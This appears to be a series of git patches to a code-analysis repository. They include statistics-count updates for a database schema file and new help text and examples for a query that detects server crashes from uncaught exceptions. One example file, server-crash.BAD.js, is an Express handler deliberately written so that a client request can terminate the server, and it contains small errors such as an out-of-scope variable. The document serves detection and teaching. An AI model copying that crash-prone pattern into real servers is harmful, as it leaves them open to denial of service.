-<v>53669</v> +<v>53804</v> </b> <b> <a>2</a> <b>3</b> -<v>11131</v> +<v>11159</v> </b> <b> <a>3</a> <b>5</b> -<v>5415</v> +<v>5428</v> </b> <b> <a>5</a> <b>17</b> -<v>1064</v> +<v>1067</v> </b> </bs> </hist> @@ -40992,22 +41130,22 @@ <b> <a>1</a> <b>2</b> -<v>53669</v> +<v>53804</v> </b> <b> <a>2</a> <b>3</b> -<v>11131</v> +<v>11159</v> </b> <b> <a>3</a> <b>5</b> -<v>5415</v> +<v>5428</v> </b> <b> <a>5</a> <b>17</b> -<v>1064</v> +<v>1067</v> </b> </bs> </hist> @@ -41023,17 +41161,17 @@ <b> <a>1</a> <b>2</b> -<v>61738</v> +<v>61894</v> </b> <b> <a>2</a> <b>3</b> -<v>9318</v> +<v>9341</v> </b> <b> <a>3</a> <b>4</b> -<v>223</v> +<v>224</v> </b> </bs> </hist> @@ -41049,17 +41187,17 @@ <b> <a>1</a> <b>2</b> -<v>54695</v> +<v>54833</v> </b> <b> <a>2</a> <b>3</b> -<v>10825</v> +<v>10852</v> </b> <b> <a>3</a> <b>7</b> -<v>5517</v> +<v>5531</v> </b> <b> <a>7</a> @@ -41080,22 +41218,22 @@ <b> <a>1</a> <b>2</b> -<v>54218</v> +<v>54355</v> </b> <b> <a>2</a> <b>3</b> -<v>11044</v> +<v>11071</v> </b> <b> <a>3</a> <b>6</b> -<v>5512</v> +<v>5526</v> </b> <b> <a>6</a> <b>16</b> -<v>505</v> +<v>506</v> </b> </bs> </hist> @@ -41111,22 +41249,22 @@ <b> <a>1</a> <b>2</b> -<v>53669</v> +<v>53804</v> </b> <b> <a>2</a> <b>3</b> -<v>11131</v> +<v>11159</v> </b> <b> <a>3</a> <b>5</b> -<v>5415</v> +<v>5428</v> </b> <b> <a>5</a> <b>17</b> -<v>1064</v> +<v>1067</v> </b> </bs> </hist> @@ -41789,12 +41927,12 @@ <b> <a>1</a> <b>2</b> -<v>94127</v> +<v>94364</v> </b> <b> <a>2</a> <b>8</b> -<v>3290</v> +<v>3299</v> </b> </bs> </hist> @@ -41810,7 +41948,7 @@ <b> <a>1</a> <b>2</b> -<v>97418</v> +<v>97663</v> </b> </bs> </hist> @@ -41826,12 +41964,12 @@ <b> <a>1</a> <b>2</b> -<v>94127</v> +<v>94364</v> </b> <b> <a>2</a> <b>8</b> -<v>3290</v> +<v>3299</v> </b> </bs> </hist> @@ -41847,12 +41985,12 @@ <b> <a>1</a> <b>2</b> -<v>95162</v> +<v>95402</v> </b> <b> <a>2</a> <b>4</b> -<v>2255</v> +<v>2261</v> </b> </bs> </hist> @@ -41868,12 +42006,12 @@ <b> <a>1</a> <b>2</b> -<v>95206</v> +<v>95446</v> </b> <b> <a>2</a> <b>3</b> -<v>2211</v> +<v>2217</v> </b> </bs> </hist> @@ -41889,12 +42027,12 @@ <b> <a>1</a> <b>2</b> -<v>94127</v> +<v>94364</v> </b> <b> <a>2</a> <b>8</b> -<v>3290</v> +<v>3299</v> </b> </bs> </hist> @@ -41910,12 +42048,12 @@ <b> <a>1</a> <b>2</b> -<v>98404</v> +<v>98652</v> </b> <b> <a>2</a> <b>7</b> -<v>1224</v> +<v>1228</v> </b> </bs> </hist> @@ -41931,7 +42069,7 @@ <b> <a>1</a> <b>2</b> -<v>99629</v> +<v>99880</v> </b> </bs> </hist> @@ -41947,12 +42085,12 @@ <b> <a>1</a> <b>2</b> -<v>98404</v> +<v>98652</v> </b> <b> <a>2</a> <b>7</b> -<v>1224</v> +<v>1228</v> </b> </bs> </hist> @@ -41968,12 +42106,12 @@ <b> <a>1</a> <b>2</b> -<v>99454</v> +<v>99705</v> </b> <b> <a>2</a> <b>3</b> -<v>174</v> +<v>175</v> </b> </bs> </hist> @@ -41989,7 +42127,7 @@ <b> <a>1</a> <b>2</b> -<v>99629</v> +<v>99880</v> </b> </bs> </hist> @@ -42005,12 +42143,12 @@ <b> <a>1</a> <b>2</b> -<v>98404</v> +<v>98652</v> </b> <b> <a>2</a> <b>7</b> -<v>1224</v> +<v>1228</v> </b> </bs> </hist> @@ -42026,7 +42164,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -42042,7 +42180,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -42058,7 +42196,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -42074,7 +42212,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -42090,7 +42228,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -42106,7 +42244,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -42116,15 +42254,15 @@ </relation> <relation> <name>cil_handler_filter</name> -<cardinality>806</cardinality> +<cardinality>808</cardinality> <columnsizes> <e> <k>id</k> -<v>806</v> +<v>808</v> </e> <e> <k>filter_start</k> -<v>806</v> +<v>808</v> </e> </columnsizes> <dependencies> @@ -42138,7 +42276,7 @@ <b> <a>1</a> <b>2</b> -<v>806</v> +<v>808</v> </b> </bs> </hist> @@ -42154,7 +42292,7 @@ <b> <a>1</a> <b>2</b> -<v>806</v> +<v>808</v> </b> </bs> </hist> @@ -42164,15 +42302,15 @@ </relation> <relation> <name>cil_handler_type</name> -<cardinality>43719</cardinality> +<cardinality>43829</cardinality> <columnsizes> <e> <k>id</k> -<v>43719</v> +<v>43829</v> </e> <e> <k>catch_type</k> -<v>1258</v> +<v>1262</v> </e> </columnsizes> <dependencies> @@ -42186,7 +42324,7 @@ <b> <a>1</a> <b>2</b> -<v>43719</v> +<v>43829</v> </b> </bs> </hist> @@ -42202,17 +42340,17 @@ <b> <a>1</a> <b>2</b> -<v>437</v> +<v>438</v> </b> <b> <a>2</a> <b>3</b> -<v>267</v> +<v>268</v> </b> <b> <a>3</a> <b>4</b> -<v>150</v> +<v>151</v> </b> <b> <a>4</a> @@ -42247,11 +42385,11 @@ </relation> <relation> <name>cil_method_stack_size</name> -<cardinality>1722264</cardinality> +<cardinality>1726604</cardinality> <columnsizes> <e> <k>method</k> -<v>1722264</v> +<v>1726604</v> </e> <e> <k>size</k> @@ -42269,7 +42407,7 @@ <b> <a>1</a> <b>2</b> -<v>1722264</v> +<v>1726604</v> </b> </bs> </hist> @@ -42350,121 +42488,121 @@ </relation> <relation> <name>cil_public</name> -<cardinality>1906085</cardinality> +<cardinality>1910889</cardinality> <columnsizes> <e> <k>id</k> -<v>1906085</v> +<v>1910889</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_private</name> -<cardinality>926421</cardinality> +<cardinality>928756</cardinality> <columnsizes> <e> <k>id</k> -<v>926421</v> +<v>928756</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_protected</name> -<cardinality>1813678</cardinality> +<cardinality>1818249</cardinality> <columnsizes> <e> <k>id</k> -<v>1813678</v> +<v>1818249</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_internal</name> -<cardinality>41580</cardinality> +<cardinality>41685</cardinality> <columnsizes> <e> <k>id</k> -<v>41580</v> +<v>41685</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_static</name> -<cardinality>792901</cardinality> +<cardinality>794899</cardinality> <columnsizes> <e> <k>id</k> -<v>792901</v> +<v>794899</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_sealed</name> -<cardinality>355655</cardinality> +<cardinality>356551</cardinality> <columnsizes> <e> <k>id</k> -<v>355655</v> +<v>356551</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_virtual</name> -<cardinality>675889</cardinality> +<cardinality>677592</cardinality> <columnsizes> <e> <k>id</k> -<v>675889</v> +<v>677592</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_abstract</name> -<cardinality>164766</cardinality> +<cardinality>165181</cardinality> <columnsizes> <e> <k>id</k> -<v>164766</v> +<v>165181</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_class</name> -<cardinality>237957</cardinality> +<cardinality>238557</cardinality> <columnsizes> <e> <k>id</k> -<v>237957</v> +<v>238557</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_interface</name> -<cardinality>16507</cardinality> +<cardinality>16549</cardinality> <columnsizes> <e> <k>id</k> -<v>16507</v> +<v>16549</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_security</name> -<cardinality>1907</cardinality> +<cardinality>1908</cardinality> <columnsizes> <e> <k>id</k> -<v>1907</v> +<v>1908</v> </e> </columnsizes> <dependencies/> @@ -42482,37 +42620,37 @@ </relation> <relation> <name>cil_specialname</name> -<cardinality>808942</cardinality> +<cardinality>810981</cardinality> <columnsizes> <e> <k>id</k> -<v>808942</v> +<v>810981</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_newslot</name> -<cardinality>421205</cardinality> +<cardinality>422266</cardinality> <columnsizes> <e> <k>id</k> -<v>421205</v> +<v>422266</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_base_class</name> -<cardinality>234982</cardinality> +<cardinality>235574</cardinality> <columnsizes> <e> <k>id</k> -<v>234982</v> +<v>235574</v> </e> <e> <k>base</k> -<v>21354</v> +<v>21407</v> </e> </columnsizes> <dependencies> @@ -42526,7 +42664,7 @@ <b> <a>1</a> <b>2</b> -<v>234982</v> +<v>235574</v> </b> </bs> </hist> @@ -42542,27 +42680,27 @@ <b> <a>1</a> <b>2</b> -<v>12283</v> +<v>12314</v> </b> <b> <a>2</a> <b>3</b> -<v>3849</v> +<v>3859</v> </b> <b> <a>3</a> <b>4</b> -<v>1608</v> +<v>1613</v> </b> <b> <a>4</a> <b>7</b> -<v>1886</v> +<v>1890</v> </b> <b> <a>7</a> <b>84</b> -<v>1604</v> +<v>1608</v> </b> <b> <a>86</a> @@ -42577,15 +42715,15 @@ </relation> <relation> <name>cil_base_interface</name> -<cardinality>124887</cardinality> +<cardinality>125201</cardinality> <columnsizes> <e> <k>id</k> -<v>68422</v> +<v>68595</v> </e> <e> <k>base</k> -<v>31114</v> +<v>31193</v> </e> </columnsizes> <dependencies> @@ -42599,27 +42737,27 @@ <b> <a>1</a> <b>2</b> -<v>47573</v> +<v>47693</v> </b> <b> <a>2</a> <b>3</b> -<v>8093</v> +<v>8113</v> </b> <b> <a>3</a> <b>5</b> -<v>6246</v> +<v>6262</v> </b> <b> <a>5</a> <b>9</b> -<v>5361</v> +<v>5375</v> </b> <b> <a>9</a> <b>25</b> -<v>1147</v> +<v>1150</v> </b> </bs> </hist> @@ -42635,27 +42773,27 @@ <b> <a>1</a> <b>2</b> -<v>22418</v> +<v>22475</v> </b> <b> <a>2</a> <b>3</b> -<v>3422</v> +<v>3430</v> </b> <b> <a>3</a> <b>5</b> -<v>2513</v> +<v>2519</v> </b> <b> <a>5</a> <b>30</b> -<v>2338</v> +<v>2344</v> </b> <b> <a>30</a> <b>2180</b> -<v>422</v> +<v>423</v> </b> </bs> </hist> @@ -42665,11 +42803,11 @@ </relation> <relation> <name>cil_enum_underlying_type</name> -<cardinality>14033</cardinality> +<cardinality>14068</cardinality> <columnsizes> <e> <k>id</k> -<v>14033</v> +<v>14068</v> </e> <e> <k>underlying</k> @@ -42687,7 +42825,7 @@ <b> <a>1</a> <b>2</b> -<v>14033</v> +<v>14068</v> </b> </bs> </hist> @@ -42748,11 +42886,11 @@ </relation> <relation> <name>cil_type_parameter</name> -<cardinality>184385</cardinality> +<cardinality>184849</cardinality> <columnsizes> <e> <k>unbound</k> -<v>103649</v> +<v>103910</v> </e> <e> <k>index</k> @@ -42760,7 +42898,7 @@ </e> <e> <k>param</k> -<v>184385</v> +<v>184849</v> </e> </columnsizes> <dependencies> @@ -42774,22 +42912,22 @@ <b> <a>1</a> <b>2</b> -<v>74795</v> +<v>74983</v> </b> <b> <a>2</a> <b>3</b> -<v>18952</v> +<v>19000</v> </b> <b> <a>3</a> <b>13</b> -<v>8137</v> +<v>8157</v> </b> <b> <a>13</a> <b>22</b> -<v>1764</v> +<v>1768</v> </b> </bs> </hist> @@ -42805,22 +42943,22 @@ <b> <a>1</a> <b>2</b> -<v>74795</v> +<v>74983</v> </b> <b> <a>2</a> <b>3</b> -<v>18952</v> +<v>19000</v> </b> <b> <a>3</a> <b>13</b> -<v>8137</v> +<v>8157</v> </b> <b> <a>13</a> <b>22</b> -<v>1764</v> +<v>1768</v> </b> </bs> </hist> @@ -43068,7 +43206,7 @@ <b> <a>1</a> <b>2</b> -<v>184385</v> +<v>184849</v> </b> </bs> </hist> @@ -43084,7 +43222,7 @@ <b> <a>1</a> <b>2</b> -<v>184385</v> +<v>184849</v> </b> </bs> </hist> @@ -43094,11 +43232,11 @@ </relation> <relation> <name>cil_type_argument</name> -<cardinality>735508</cardinality> +<cardinality>737362</cardinality> <columnsizes> <e> <k>bound</k> -<v>480304</v> +<v>481514</v> </e> <e> <k>index</k> @@ -43106,7 +43244,7 @@ </e> <e> <k>t</k> -<v>251655</v> +<v>252289</v> </e> </columnsizes> <dependencies> @@ -43120,17 +43258,17 @@ <b> <a>1</a> <b>2</b> -<v>335453</v> +<v>336298</v> </b> <b> <a>2</a> <b>3</b> -<v>117104</v> +<v>117399</v> </b> <b> <a>3</a> <b>22</b> -<v>27746</v> +<v>27816</v> </b> </bs> </hist> @@ -43146,17 +43284,17 @@ <b> <a>1</a> <b>2</b> -<v>340348</v> +<v>341206</v> </b> <b> <a>2</a> <b>3</b> -<v>114995</v> +<v>115285</v> </b> <b> <a>3</a> <b>22</b> -<v>24960</v> +<v>25023</v> </b> </bs> </hist> @@ -43384,27 +43522,27 @@ <b> <a>1</a> <b>2</b> -<v>100101</v> +<v>100353</v> </b> <b> <a>2</a> <b>3</b> -<v>72593</v> +<v>72776</v> </b> <b> <a>3</a> <b>4</b> -<v>42397</v> +<v>42503</v> </b> <b> <a>4</a> <b>6</b> -<v>20061</v> +<v>20111</v> </b> <b> <a>6</a> <b>4208</b> -<v>16502</v> +<v>16544</v> </b> </bs> </hist> @@ -43420,17 +43558,17 @@ <b> <a>1</a> <b>2</b> -<v>190393</v> +<v>190873</v> </b> <b> <a>2</a> <b>3</b> -<v>55366</v> +<v>55505</v> </b> <b> <a>3</a> <b>20</b> -<v>5896</v> +<v>5911</v> </b> </bs> </hist> @@ -43531,19 +43669,19 @@ </relation> <relation> <name>cil_attribute</name> -<cardinality>327607</cardinality> +<cardinality>328433</cardinality> <columnsizes> <e> <k>attributeid</k> -<v>327607</v> +<v>328433</v> </e> <e> <k>element</k> -<v>248073</v> +<v>248698</v> </e> <e> <k>constructor</k> -<v>3368</v> +<v>3377</v> </e> </columnsizes> <dependencies> @@ -43557,7 +43695,7 @@ <b> <a>1</a> <b>2</b> -<v>327607</v> +<v>328433</v> </b> </bs> </hist> @@ -43573,7 +43711,7 @@ <b> <a>1</a> <b>2</b> -<v>327607</v> +<v>328433</v> </b> </bs> </hist> @@ -43589,17 +43727,17 @@ <b> <a>1</a> <b>2</b> -<v>196931</v> +<v>197427</v> </b> <b> <a>2</a> <b>3</b> -<v>36617</v> +<v>36709</v> </b> <b> <a>3</a> <b>92</b> -<v>14524</v> +<v>14561</v> </b> </bs> </hist> @@ -43615,17 +43753,17 @@ <b> <a>1</a> <b>2</b> -<v>212753</v> +<v>213289</v> </b> <b> <a>2</a> <b>3</b> -<v>30930</v> +<v>31008</v> </b> <b> <a>3</a> <b>7</b> -<v>4389</v> +<v>4400</v> </b> </bs> </hist> @@ -43641,57 +43779,57 @@ <b> <a>1</a> <b>2</b> -<v>554</v> +<v>555</v> </b> <b> <a>2</a> <b>3</b> -<v>398</v> +<v>399</v> </b> <b> <a>3</a> <b>4</b> -<v>286</v> +<v>287</v> </b> <b> <a>4</a> <b>5</b> -<v>315</v> +<v>316</v> </b> <b> <a>5</a> <b>8</b> -<v>306</v> +<v>307</v> </b> <b> <a>8</a> <b>11</b> -<v>262</v> +<v>263</v> </b> <b> <a>11</a> <b>19</b> -<v>267</v> +<v>268</v> </b> <b> <a>19</a> <b>33</b> -<v>257</v> +<v>258</v> </b> <b> <a>33</a> <b>64</b> -<v>252</v> +<v>253</v> </b> <b> <a>64</a> <b>179</b> -<v>252</v> +<v>253</v> </b> <b> <a>187</a> <b>15289</b> -<v>213</v> +<v>214</v> </b> </bs> </hist> @@ -43707,7 +43845,7 @@ <b> <a>1</a> <b>2</b> -<v>597</v> +<v>599</v> </b> <b> <a>2</a> @@ -43717,12 +43855,12 @@ <b> <a>3</a> <b>4</b> -<v>281</v> +<v>282</v> </b> <b> <a>4</a> <b>5</b> -<v>315</v> +<v>316</v> </b> <b> <a>5</a> @@ -43732,27 +43870,27 @@ <b> <a>7</a> <b>10</b> -<v>281</v> +<v>282</v> </b> <b> <a>10</a> <b>17</b> -<v>252</v> +<v>253</v> </b> <b> <a>17</a> <b>31</b> -<v>262</v> +<v>263</v> </b> <b> <a>31</a> <b>50</b> -<v>257</v> +<v>258</v> </b> <b> <a>50</a> <b>151</b> -<v>252</v> +<v>253</v> </b> <b> <a>152</a> @@ -43767,11 +43905,11 @@ </relation> <relation> <name>cil_attribute_named_argument</name> -<cardinality>5546</cardinality> +<cardinality>5560</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>4613</v> +<v>4624</v> </e> <e> <k>param</k> @@ -43779,7 +43917,7 @@ </e> <e> <k>value</k> -<v>1093</v> +<v>1096</v> </e> </columnsizes> <dependencies> @@ -43793,17 +43931,17 @@ <b> <a>1</a> <b>2</b> -<v>3752</v> +<v>3762</v> </b> <b> <a>2</a> <b>3</b> -<v>787</v> +<v>789</v> </b> <b> <a>3</a> <b>4</b> -<v>72</v> +<v>73</v> </b> </bs> </hist> @@ -43819,12 +43957,12 @@ <b> <a>1</a> <b>2</b> -<v>4044</v> +<v>4054</v> </b> <b> <a>2</a> <b>3</b> -<v>554</v> +<v>555</v> </b> <b> <a>3</a> @@ -43967,7 +44105,7 @@ <b> <a>1</a> <b>2</b> -<v>719</v> +<v>721</v> </b> <b> <a>2</a> @@ -43998,7 +44136,7 @@ <b> <a>1</a> <b>2</b> -<v>1064</v> +<v>1067</v> </b> <b> <a>2</a> @@ -44013,11 +44151,11 @@ </relation> <relation> <name>cil_attribute_positional_argument</name> -<cardinality>95954</cardinality> +<cardinality>96196</cardinality> <columnsizes> <e> <k>attribute_id</k> -<v>89844</v> +<v>90071</v> </e> <e> <k>index</k> @@ -44025,7 +44163,7 @@ </e> <e> <k>value</k> -<v>17076</v> +<v>17119</v> </e> </columnsizes> <dependencies> @@ -44039,12 +44177,12 @@ <b> <a>1</a> <b>2</b> -<v>85173</v> +<v>85388</v> </b> <b> <a>2</a> <b>7</b> -<v>4671</v> +<v>4683</v> </b> </bs> </hist> @@ -44060,12 +44198,12 @@ <b> <a>1</a> <b>2</b> -<v>85183</v> +<v>85397</v> </b> <b> <a>2</a> <b>7</b> -<v>4661</v> +<v>4673</v> </b> </bs> </hist> @@ -44158,22 +44296,22 @@ <b> <a>1</a> <b>2</b> -<v>12312</v> +<v>12343</v> </b> <b> <a>2</a> <b>3</b> -<v>2454</v> +<v>2460</v> </b> <b> <a>3</a> <b>6</b> -<v>1424</v> +<v>1427</v> </b> <b> <a>6</a> <b>5555</b> -<v>884</v> +<v>886</v> </b> </bs> </hist> @@ -44189,12 +44327,12 @@ <b> <a>1</a> <b>2</b> -<v>16750</v> +<v>16793</v> </b> <b> <a>2</a> <b>6</b> -<v>325</v> +<v>326</v> </b> </bs> </hist> @@ -44204,19 +44342,19 @@ </relation> <relation> <name>metadata_handle</name> -<cardinality>6162511</cardinality> +<cardinality>6178043</cardinality> <columnsizes> <e> <k>entity</k> -<v>5673695</v> +<v>5687995</v> </e> <e> <k>location</k> -<v>3407</v> +<v>3416</v> </e> <e> <k>handle</k> -<v>273476</v> +<v>274165</v> </e> </columnsizes> <dependencies> @@ -44230,17 +44368,17 @@ <b> <a>1</a> <b>2</b> -<v>5203021</v> +<v>5216134</v> </b> <b> <a>2</a> <b>3</b> -<v>461677</v> +<v>462840</v> </b> <b> <a>3</a> <b>638</b> -<v>8997</v> +<v>9020</v> </b> </bs> </hist> @@ -44256,12 +44394,12 @@ <b> <a>1</a> <b>2</b> -<v>5434421</v> +<v>5448117</v> </b> <b> <a>2</a> <b>59</b> -<v>239274</v> +<v>239877</v> </b> </bs> </hist> @@ -44277,67 +44415,67 @@ <b> <a>1</a> <b>3</b> -<v>286</v> +<v>287</v> </b> <b> <a>3</a> <b>36</b> -<v>257</v> +<v>258</v> </b> <b> <a>36</a> <b>79</b> -<v>267</v> +<v>268</v> </b> <b> <a>79</a> <b>130</b> -<v>257</v> +<v>258</v> </b> <b> <a>130</a> <b>200</b> -<v>257</v> +<v>258</v> </b> <b> <a>200</a> <b>288</b> -<v>257</v> +<v>258</v> </b> <b> <a>288</a> <b>400</b> -<v>257</v> +<v>258</v> </b> <b> <a>403</a> <b>527</b> -<v>257</v> +<v>258</v> </b> <b> <a>528</a> <b>744</b> -<v>257</v> +<v>258</v> </b> <b> <a>747</a> <b>1109</b> -<v>262</v> +<v>263</v> </b> <b> <a>1116</a> <b>1915</b> -<v>257</v> +<v>258</v> </b> <b> <a>1920</a> <b>4051</b> -<v>257</v> +<v>258</v> </b> <b> <a>4053</a> <b>50922</b> -<v>257</v> +<v>258</v> </b> <b> <a>67370</a> @@ -44358,62 +44496,62 @@ <b> <a>1</a> <b>2</b> -<v>286</v> +<v>287</v> </b> <b> <a>3</a> <b>20</b> -<v>281</v> +<v>282</v> </b> <b> <a>20</a> <b>46</b> -<v>267</v> +<v>268</v> </b> <b> <a>46</a> <b>76</b> -<v>262</v> +<v>263</v> </b> <b> <a>77</a> <b>119</b> -<v>257</v> +<v>258</v> </b> <b> <a>119</a> <b>176</b> -<v>257</v> +<v>258</v> </b> <b> <a>176</a> <b>253</b> -<v>257</v> +<v>258</v> </b> <b> <a>255</a> <b>332</b> -<v>262</v> +<v>263</v> </b> <b> <a>338</a> <b>481</b> -<v>257</v> +<v>258</v> </b> <b> <a>483</a> <b>683</b> -<v>257</v> +<v>258</v> </b> <b> <a>685</a> <b>1273</b> -<v>257</v> +<v>258</v> </b> <b> <a>1295</a> <b>2685</b> -<v>257</v> +<v>258</v> </b> <b> <a>2710</a> @@ -44434,62 +44572,62 @@ <b> <a>1</a> <b>2</b> -<v>18889</v> +<v>18937</v> </b> <b> <a>2</a> <b>3</b> -<v>44915</v> +<v>45028</v> </b> <b> <a>3</a> <b>5</b> -<v>23857</v> +<v>23917</v> </b> <b> <a>5</a> <b>6</b> -<v>17470</v> +<v>17514</v> </b> <b> <a>6</a> <b>7</b> -<v>30064</v> +<v>30140</v> </b> <b> <a>7</a> <b>9</b> -<v>18928</v> +<v>18976</v> </b> <b> <a>9</a> <b>11</b> -<v>22034</v> +<v>22090</v> </b> <b> <a>11</a> <b>13</b> -<v>20984</v> +<v>21037</v> </b> <b> <a>13</a> <b>21</b> -<v>21412</v> +<v>21466</v> </b> <b> <a>21</a> <b>39</b> -<v>21077</v> +<v>21130</v> </b> <b> <a>39</a> <b>83</b> -<v>20522</v> +<v>20574</v> </b> <b> <a>83</a> <b>1061</b> -<v>13318</v> +<v>13352</v> </b> </bs> </hist> @@ -44505,52 +44643,52 @@ <b> <a>1</a> <b>2</b> -<v>62754</v> +<v>62912</v> </b> <b> <a>2</a> <b>3</b> -<v>21042</v> +<v>21096</v> </b> <b> <a>3</a> <b>4</b> -<v>46874</v> +<v>46992</v> </b> <b> <a>4</a> <b>5</b> -<v>18889</v> +<v>18937</v> </b> <b> <a>5</a> <b>6</b> -<v>19351</v> +<v>19400</v> </b> <b> <a>6</a> <b>7</b> -<v>22010</v> +<v>22065</v> </b> <b> <a>7</a> <b>11</b> -<v>23235</v> +<v>23293</v> </b> <b> <a>11</a> <b>19</b> -<v>21942</v> +<v>21997</v> </b> <b> <a>19</a> <b>41</b> -<v>20804</v> +<v>20857</v> </b> <b> <a>41</a> <b>702</b> -<v>16570</v> +<v>16612</v> </b> </bs> </hist> From 9e3cc3b1b2a3d1721acdde76cd7f916b01862112 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Tue, 19 Jan 2021 09:08:59 +0100 Subject: [PATCH 0747/1241] JS: add qhelp and changenotes for js/server-crash --- .../change-notes/2021-01-18-server-crash.md | 2 + .../ql/src/Security/CWE-730/ServerCrash.qhelp | 84 ++++++++++++++++--- .../CWE-730/examples/server-crash.BAD.js | 21 +++++ .../CWE-730/examples/server-crash.GOOD-A.js | 14 ++++ .../CWE-730/examples/server-crash.GOOD-B.js | 13 +++ 5 files changed, 124 insertions(+), 10 deletions(-) create mode 100644 javascript/change-notes/2021-01-18-server-crash.md create mode 100644 javascript/ql/src/Security/CWE-730/examples/server-crash.BAD.js create mode 100644 javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-A.js create mode 100644 javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js diff --git a/javascript/change-notes/2021-01-18-server-crash.md b/javascript/change-notes/2021-01-18-server-crash.md new file mode 100644 index 00000000000..bf5383c3bd8 --- /dev/null +++ b/javascript/change-notes/2021-01-18-server-crash.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* The `js/server-crash` query has been added. It highlights servers may be terminated by a malicious user. diff --git a/javascript/ql/src/Security/CWE-730/ServerCrash.qhelp b/javascript/ql/src/Security/CWE-730/ServerCrash.qhelp index c3258c4e5f1..e46616ade47 100644 --- a/javascript/ql/src/Security/CWE-730/ServerCrash.qhelp +++ b/javascript/ql/src/Security/CWE-730/ServerCrash.qhelp @@ -1,22 +1,86 @@ <!DOCTYPE qhelp PUBLIC - "-//Semmle//qhelp//EN" - "qhelp.dtd"> +"-//Semmle//qhelp//EN" +"qhelp.dtd"> <qhelp> - <overview> +<overview> - </overview> + <p> - <recommendation> + Servers handle requests from clients until terminated + deliberately by a server administrator. A client request that results + in an uncaught server-side exception causes the current server + response generation to fail, and should not have an effect on + subsequent client requests. - </recommendation> + </p> - <example> + <p> - </example> + Under some circumstances, uncaught exceptions can however + cause the entire server to terminate abruptly. Such a behavior is + highly undesirable, especially if it gives malicious users the ability + to turn off the server at will, which is an efficient + denial-of-service attack. - <references> + </p> - </references> +</overview> + +<recommendation> + + <p> + + Ensure that the processing of client requests can not cause + uncaught exceptions to terminate the entire server abruptly. + + </p> + +</recommendation> + +<example> + + <p> + + The following server implementation checks if a client-provided + file path is valid and throws an exception if the check fails. It can + be seen that the exception is uncaught, and it is therefore reasonable to + expect the server to respond with an error response to client requests + that cause the check to fail. + + But since the exception is uncaught in the context of an + asynchronous callback invocation (<code>fs.access(...)</code>), the + entire server will terminate instead. + + </p> + + <sample src="examples/server-crash.BAD.js"/> + + <p> + To remedy this, the server can catch the exception explicitly with + a <code>try/catch</code> block, and generate an appropriate error + response instead: + + </p> + + <sample src="examples/server-crash.GOOD-A.js"/> + + <p> + + An alternative is to use an <code>async</code> and + <code>await</code> for the asynchronous behavior, since the server + will then print warning messages about uncaught exceptions instead of + terminating, unless the server was started with the commandline option + <code>--unhandled-rejections=strict</code>: + + </p> + + <sample src="examples/server-crash.GOOD-B.js"/> + +</example> + +<references> + +</references> </qhelp> diff --git a/javascript/ql/src/Security/CWE-730/examples/server-crash.BAD.js b/javascript/ql/src/Security/CWE-730/examples/server-crash.BAD.js new file mode 100644 index 00000000000..1b7001666ff --- /dev/null +++ b/javascript/ql/src/Security/CWE-730/examples/server-crash.BAD.js @@ -0,0 +1,21 @@ +const express = require("express"), + fs = require("fs"); + +function save(rootDir, path, content){ + if (!isValidPath(rootDir, req.query.filePath)) { + throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server + } + // write content to disk +} +express().post("/save", (req, res) => { + fs.access(rootDir, (err) => { + if (err) { + console.error(`Server setup is corrupted, ${rootDir} does not exist!`); + res.status(500); + res.end(); + } + save(rootDir, req.query.path, req.body); + res.status(200); + res.end(); + }); +}); diff --git a/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-A.js b/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-A.js new file mode 100644 index 00000000000..60314259dc0 --- /dev/null +++ b/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-A.js @@ -0,0 +1,14 @@ +// ... +express().post("/save", (req, res) => { + fs.access(rootDir, (err) => { + // ... + try { + save(rootDir, req.query.path, req.body); // GOOD no uncaught exception + res.status(200); + res.end(); + } catch (e) { + res.status(500); + res.end(); + } + }); +}); diff --git a/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js b/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js new file mode 100644 index 00000000000..1d02956a341 --- /dev/null +++ b/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js @@ -0,0 +1,13 @@ +// ... +express().post("/save", async (req, res) => { + try { + await fs.access(rootDir); + } catch (e) { + console.error(`Server setup is corrupted, ${rootDir} does not exist!`); + res.status(500); + res.end(); + } + save(rootDir, req.query.path, req.body); // MAYBE BAD, depends on the commandline options + res.status(200); + res.end(); +}); From 5a6e6928073603eda6cffbd0930f16c68197c198 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Tue, 19 Jan 2021 09:58:08 +0100 Subject: [PATCH 0748/1241] add js/server-crash to the security suite --- javascript/config/suites/javascript/security | 1 + 1 file changed, 1 insertion(+) diff --git a/javascript/config/suites/javascript/security b/javascript/config/suites/javascript/security index 3e87d292d7b..9f826d04314 100644 --- a/javascript/config/suites/javascript/security +++ 